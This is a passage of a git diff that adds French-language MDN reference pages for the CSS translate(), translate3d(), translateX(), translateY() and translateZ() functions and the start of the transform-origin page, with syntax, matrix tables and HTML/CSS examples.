+  <tr>
+   <td>{{SpecName("CSS3 Transforms", "#funcdef-transform-skewy", "skewY()")}}</td>
+   <td>{{Spec2("CSS3 Transforms")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/transform-function/translate()/index.html b/files/fr/web/css/transform-function/translate()/index.html
new file mode 100644
index 0000000000..4e1eb7e81a
--- /dev/null
+++ b/files/fr/web/css/transform-function/translate()/index.html
@@ -0,0 +1,141 @@
+---
+title: translate()
+slug: Web/CSS/transform-function/translate()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/translate()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>translate()</code></strong> permet de déplacer un élément sur le plan représenté par le document. Cette transformation est définie à l'aide d'un vecteur dont les coordonnées définissent la quantité de déplacement sur chaque axe (horizontal et vertical).</p>
+
+<p><img src="https://mdn.mozillademos.org/files/12121/translate.png" style="height: 195px; width: 249px;"></p>
+
+<p>La valeur obtenue par cette fonction est de type {{cssxref("&lt;transform-function&gt;")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">translate(tx)
+translate(tx, ty)
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>tx</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;length&gt;")}} qui représente l'abscisse du vecteur de translation. Autrement dit, c'est l'amplitude du déplacement horizontal de la translation.</dd>
+ <dt><code>ty</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;length&gt;")}} qui représente l'ordonnée du vecteur de translation. Autrement dit, c'est l'amplitude du déplacement vertical de la translation. Si ce paramètre n'est pas utilisé, la valeur par défaut sera 0 : <code>translate(2)</code> sera donc équivalent à <code>translate(2, 0)</code>.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2">
+    <p>Une translation plane n'est pas une transformation linéaire de ℝ<sup>2</sup> et ne peut donc pas être représentée sous la forme d'une matrice dans  le système cartésien.</p>
+   </td>
+   <td><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>tx</mtd></mtr><mtr>0<mtd>1</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>tx</mtd></mtr><mtr>0<mtd>1</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>tx</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[1 0 0 1 tx ty]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Définir_une_translation_horizontale">Définir une translation horizontale</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;
+&lt;p&gt;toto&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation {
+  transform: translate(10px);
+  /* équivalent à translateX(10px)*/
+  background-color: blue;
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Définir_une_translation_horizontale","100%","250")}}</p>
+
+<h3 id="Définir_une_translation_sur_les_deux_axes">Définir une translation sur les deux axes</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;
+&lt;p&gt;toto&lt;/p&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation {
+  transform: translate(10px,10px);
+  background-color: blue;
+}
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Définir_une_translation_sur_les_deux_axes","100%","250")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transforms', '#funcdef-transform-translate', 'translate()')}}</td>
+   <td>{{Spec2('CSS3 Transforms')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/transform-function/translate3d()/index.html b/files/fr/web/css/transform-function/translate3d()/index.html
new file mode 100644
index 0000000000..650c9b714f
--- /dev/null
+++ b/files/fr/web/css/transform-function/translate3d()/index.html
@@ -0,0 +1,140 @@
+---
+title: translate3d()
+slug: Web/CSS/transform-function/translate3d()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/translate3d()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction CSS <strong><code>translate3d()</code></strong> permet de déplacer un élément dans l'espace tridimensionnel. Cette transformation est définie à l'aide d'un vecteur dont les coordonnées définissent l'amplitude du déplacement pour chaque direction.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-translate3d.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La valeur obtenue par cette fonction est de type {{cssxref("&lt;transform-function&gt;")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">translate3d(tx, ty, tz)
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>tx</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;length&gt;")}} ou {{cssxref("&lt;percentage&gt;")}} qui représente l'abscisse du vecteur de translation (équivalente au déplacement horizontal).</dd>
+ <dt><code>ty</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;length&gt;")}} ou {{cssxref("&lt;percentage&gt;")}} qui représente l'ordonnée du vecteur de translation (équivalente au déplacement vertical).</dd>
+ <dt><code>tz</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;length&gt;")}} qui représente la composante en profondeur du vecteur de translation (équivalente au déplacement en profondeur). La valeur ne peut pas être de type {{cssxref("&lt;percentage&gt;")}}, si c'est le cas, la règle décrivant la transformation sera considérée comme invalide.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2" rowspan="2">
+    <p>Cette transformation s'applique en trois dimensions et ne peut donc être représentée sur le plan.</p>
+   </td>
+   <td colspan="1" rowspan="2">Une translation n'est pas une transformation linéaire de ℝ<sup>3</sup> et ne peut donc pas être représentée par une matrice dans le système cartésien.</td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>tx</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>tz</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Définir_une_translation_sur_un_seul_axe">Définir une translation sur un seul axe</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;Statique&lt;/p&gt;
+&lt;p class="transformation"&gt;Bougé&lt;/p&gt;
+&lt;p&gt;Statique&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">p {
+  width: 60px;
+  height: 60px;
+  background-color: skyblue;
+}
+
+.transformation {
+  transform: perspective(500px) translate3d(10px,0px,0px);
+  /* equivalent to perspective(500px) translateX(10px)*/
+  background-color: pink;
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Définir_une_translation_sur_un_seul_axe","100%","250")}}</p>
+
+<h3 id="Définir_une_translation_sur_les_axes_X_et_Z">Définir une translation sur les axes X et Z</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;Statique&lt;/p&gt;
+&lt;p class="transformation"&gt;Bougé&lt;/p&gt;
+&lt;p&gt;Statique&lt;/p&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">p {
+  width: 60px;
+  height: 60px;
+  background-color: skyblue;
+}
+
+.transformation {
+  transform: perspective(500px) translate3d(10px,0px,100px);
+  background-color: pink;
+}
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Définir_une_translation_sur_les_axes_X_et_Z","100%","250")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Transforms 2", "#funcdef-translate3d", "translate3d()")}}</td>
+   <td>{{Spec2("CSS Transforms 2")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/transform-function/translatex/index.html b/files/fr/web/css/transform-function/translatex/index.html
new file mode 100644
index 0000000000..76f583c665
--- /dev/null
+++ b/files/fr/web/css/transform-function/translatex/index.html
@@ -0,0 +1,109 @@
+---
+title: translateX()
+slug: Web/CSS/transform-function/translateX
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/translateX
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <code><strong>translateX()</strong></code> permet de déplacer un élément horizontalement. Cette transformation est caractérisée par une longueur (type {{cssxref("&lt;length&gt;")}}) qui définit l'amplitude du mouvement horizontal. La valeur obtenue par cette fonction est de type {{cssxref("&lt;transform-function&gt;")}}.</p>
+
+<p><img src="https://mdn.mozillademos.org/files/3544/transform-functions-translateX_2.png" style="height: 146px; width: 243px;"></p>
+
+<p><code>translateX(tx)</code> est une notation raccourcie équivalente à <code>translate(tx, 0)</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">translateX(t)
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>t</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;length&gt;")}} qui représente l'abscisse (la coordonnée en X) du vecteur de translation.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2">
+    <p>Une translation n'est pas une transformation linéaire sur ℝ<sup>2</sup> et on ne peut donc pas la représenter en utilisant une matrice exprimée dans le système cartésien.</p>
+   </td>
+   <td><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>t</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>t</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>t</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[1 0 0 1 t 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;
+&lt;p&gt;toto&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation {
+  transform: translateX(10px);
+  background-color: blue;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","250")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Transforms", "#funcdef-transform-translatex", "translateX()")}}</td>
+   <td>{{Spec2("CSS3 Transforms")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/transform-function/translatey()/index.html b/files/fr/web/css/transform-function/translatey()/index.html
new file mode 100644
index 0000000000..80ae24352c
--- /dev/null
+++ b/files/fr/web/css/transform-function/translatey()/index.html
@@ -0,0 +1,109 @@
+---
+title: translateY()
+slug: Web/CSS/transform-function/translateY()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/translateY()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <code><strong>translateY()</strong></code> permet de déplacer un élement verticalement sur le plan. Cette transformation est caractérisée par une longueur (type {{cssxref("&lt;length&gt;")}}) qui définit l'amplitude du déplacement. La valeur obtenue par cette fonction est de type {{cssxref("&lt;transform-function&gt;")}}.</p>
+
+<p><img src="https://mdn.mozillademos.org/files/12125/translateY.png" style="height: 195px; width: 243px;"></p>
+
+<p><code>translateY(ty)</code> est une notation raccourcie équivalente à <code>translate(0, ty)</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">translateY(t)
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>t</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;length&gt;")}} qui représente l'ordonnée du vecteur de translation (la composante en Y).</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2">
+    <p>Une translation n'est pas une transformation linéaire sur ℝ<sup>2</sup> et on ne peut donc pas la représenter en utilisant une matrice exprimée dans le système cartésien.</p>
+   </td>
+   <td><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>t</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>t</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>t</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[1 0 0 1 0 t]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;
+&lt;p&gt;toto&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation {
+  transform: translateY(10px);
+  background-color: blue;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","250")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Transforms", "#funcdef-transform-translatey", "translateY()")}}</td>
+   <td>{{Spec2("CSS3 Transforms")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/transform-function/translatez()/index.html b/files/fr/web/css/transform-function/translatez()/index.html
new file mode 100644
index 0000000000..d55e4a1279
--- /dev/null
+++ b/files/fr/web/css/transform-function/translatez()/index.html
@@ -0,0 +1,113 @@
+---
+title: translateZ()
+slug: Web/CSS/transform-function/translateZ()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/translateZ()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>translateZ()</code></strong> permet de déplacer un élément selon l'axe z de l'espace tridimensionnel. Cette transformation est caractérisée par une valeur de longueur (type {{cssxref("&lt;length&gt;")}}) qui définit l'amplitude du mouvement. La valeur obtenue par cette fonction est de type {{cssxref("&lt;transform-function&gt;")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-translateZ.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p><code>translateZ(tz)</code> est un raccourci équivalent à <code>translate3d(0, 0, tz)</code>.</p>
+
+<p>Dans les exemples interactifs ci-avant, <code>perspective: 500px;</code> a été utilisée afin de créer un espace en trois dimensions et <code>transform-style: preserve-3d</code> permet de positionner les éléments enfants (les 6 faces du cube) dans cet espace 3D.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">translateZ(t)
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>t</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;length&gt;")}} qui représente la composante en Z du vecteur de translation appliqué. Cet argument ne peut pas être de type {{cssxref("&lt;percentage&gt;")}}, si c'est le cas, la propriété qui contient la transformation est considérée comme invalide.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2" rowspan="2">Cette transformation s'applique en trois dimensions et ne peut donc être représentée sur un plan.</td>
+   <td colspan="1" rowspan="2">Une translation n'est pas une transformation linéaire sur ℝ<sup>3</sup> et ne peut donc pas être représentée avec une matrice dans le système cartésien.</td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>t</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation {
+  /* On ajoute une perspective pour créer un */
+  /* espace 3D. L'utilisateur regarde « depuis »*/
+  /* 500px et on avance l'élément vers l'utili- */
+  /* sateur de 200px */
+  transform: perspective(500px) translateZ(200px);
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<p>Si la valeur fournie à <code>perspective()</code> est inférieure à l'argument de <code>translateZ()</code> (ex. <code>transform: perspective(200px) translateZ(300px);</code>), l'élément transformé ne sera pas visible car il sera situé au-delà de l'espace projeté sur l'écran. Plus l'écart entre ces deux arguments est faible, plus l'élément paraîtra proche de l'utilisateur.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Transforms 2', '#transform-functions', 'transform')}}</td>
+   <td>{{Spec2('CSS Transforms 2')}}</td>
+   <td>Ajout des fonctions de transformations 3D au module standard <em>CSS Transforms</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Transforms/Utilisation_des_transformations_CSS">Les transformations CSS</a></li>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("transform-function/translateX", "translateX()")}} et {{cssxref("transform-function/translateY", "translateY()")}}</li>
+</ul>
diff --git a/files/fr/web/css/transform-origin/index.html b/files/fr/web/css/transform-origin/index.html
new file mode 100644
index 0000000000..986fc41f6c
--- /dev/null
+++ b/files/fr/web/css/transform-origin/index.html
@@ -0,0 +1,462 @@
+---
+title: transform-origin
+slug: Web/CSS/transform-origin
+tags:
+  - CSS
+  - CSS Transoforms
+  - Propriété CSS
+  - Reference
+  - transform-origin
+  - 'valeur par défaut : center'
+translation_of: Web/CSS/transform-origin
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>transform-origin</code></strong> permet de modifier l'origine du repère pour les opérations de transformation d'un élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/transform-origin.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Par exemple, l'origine par défaut pour la fonction <code>rotate()</code> est le centre de la rotation. Cette propriété est utilisée en :</p>
+
+<ol>
+ <li>Translatant l'élément avec l'opposé de la valeur fournie</li>
+ <li>Appliquant la transformation souhaitée sur l'élément</li>
+ <li>Translatant l'élément avec la valeur fournie pour cette propriété.</li>
+</ol>
+
+<p>Les valeurs qui ne sont pas définies explicitement sont réinitialisées avec les valeurs correspondantes.</p>
+
+<p>Par défaut, l'origine d'une transformation est <code>center</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Utilisation d'une seule valeur */
+transform-origin: 2px<em>;</em>
+transform-origin: bottom;
+
+/* x-offset y-offset */
+transform-origin: 3cm 2px;
+
+/* y-offset x-offset-keyword */
+transform-origin: 2px left;
+
+/* x-offset-keyword y-offset */
+transform-origin: left 2px;
+
+/* x-offset-keyword y-offset-keyword */
+transform-origin: right top;
+
+/* y-offset-keyword x-offset-keyword */
+transform-origin: top right;
+
+/* x-offset y-offset z-offset */
+transform-origin: 2px 30% 10px;
+
+/* y-offset x-offset-keyword z-offset */
+transform-origin: 2px left 10px;
+
+/* x-offset-keyword y-offset z-offset */
+transform-origin: left 5px -3px;
+
+/* x-offset-keyword y-offset-keyword z-offset */
+transform-origin: right bottom 2cm;
+
+/* y-offset-keyword x-offset-keyword z-offset */
+transform-origin: bottom right 2cm;
+
+/* Valeurs globales */
+transform-origin: inherit;
+transform-origin: initial;
+transform-origin: unset;
+</pre>
+
+<p>La propriété <code>transform-origin</code> peut être définie en utiisant une, deux ou trois valeurs.</p>
+
+<ul>
+ <li>Avec une valeur, celle-ci doit être :
+  <ul>
+   <li>Une longueur (type {{cssxref("&lt;length&gt;")}})</li>
+   <li>Un pourcentage (type {{cssxref("&lt;percentage&gt;")}}</li>
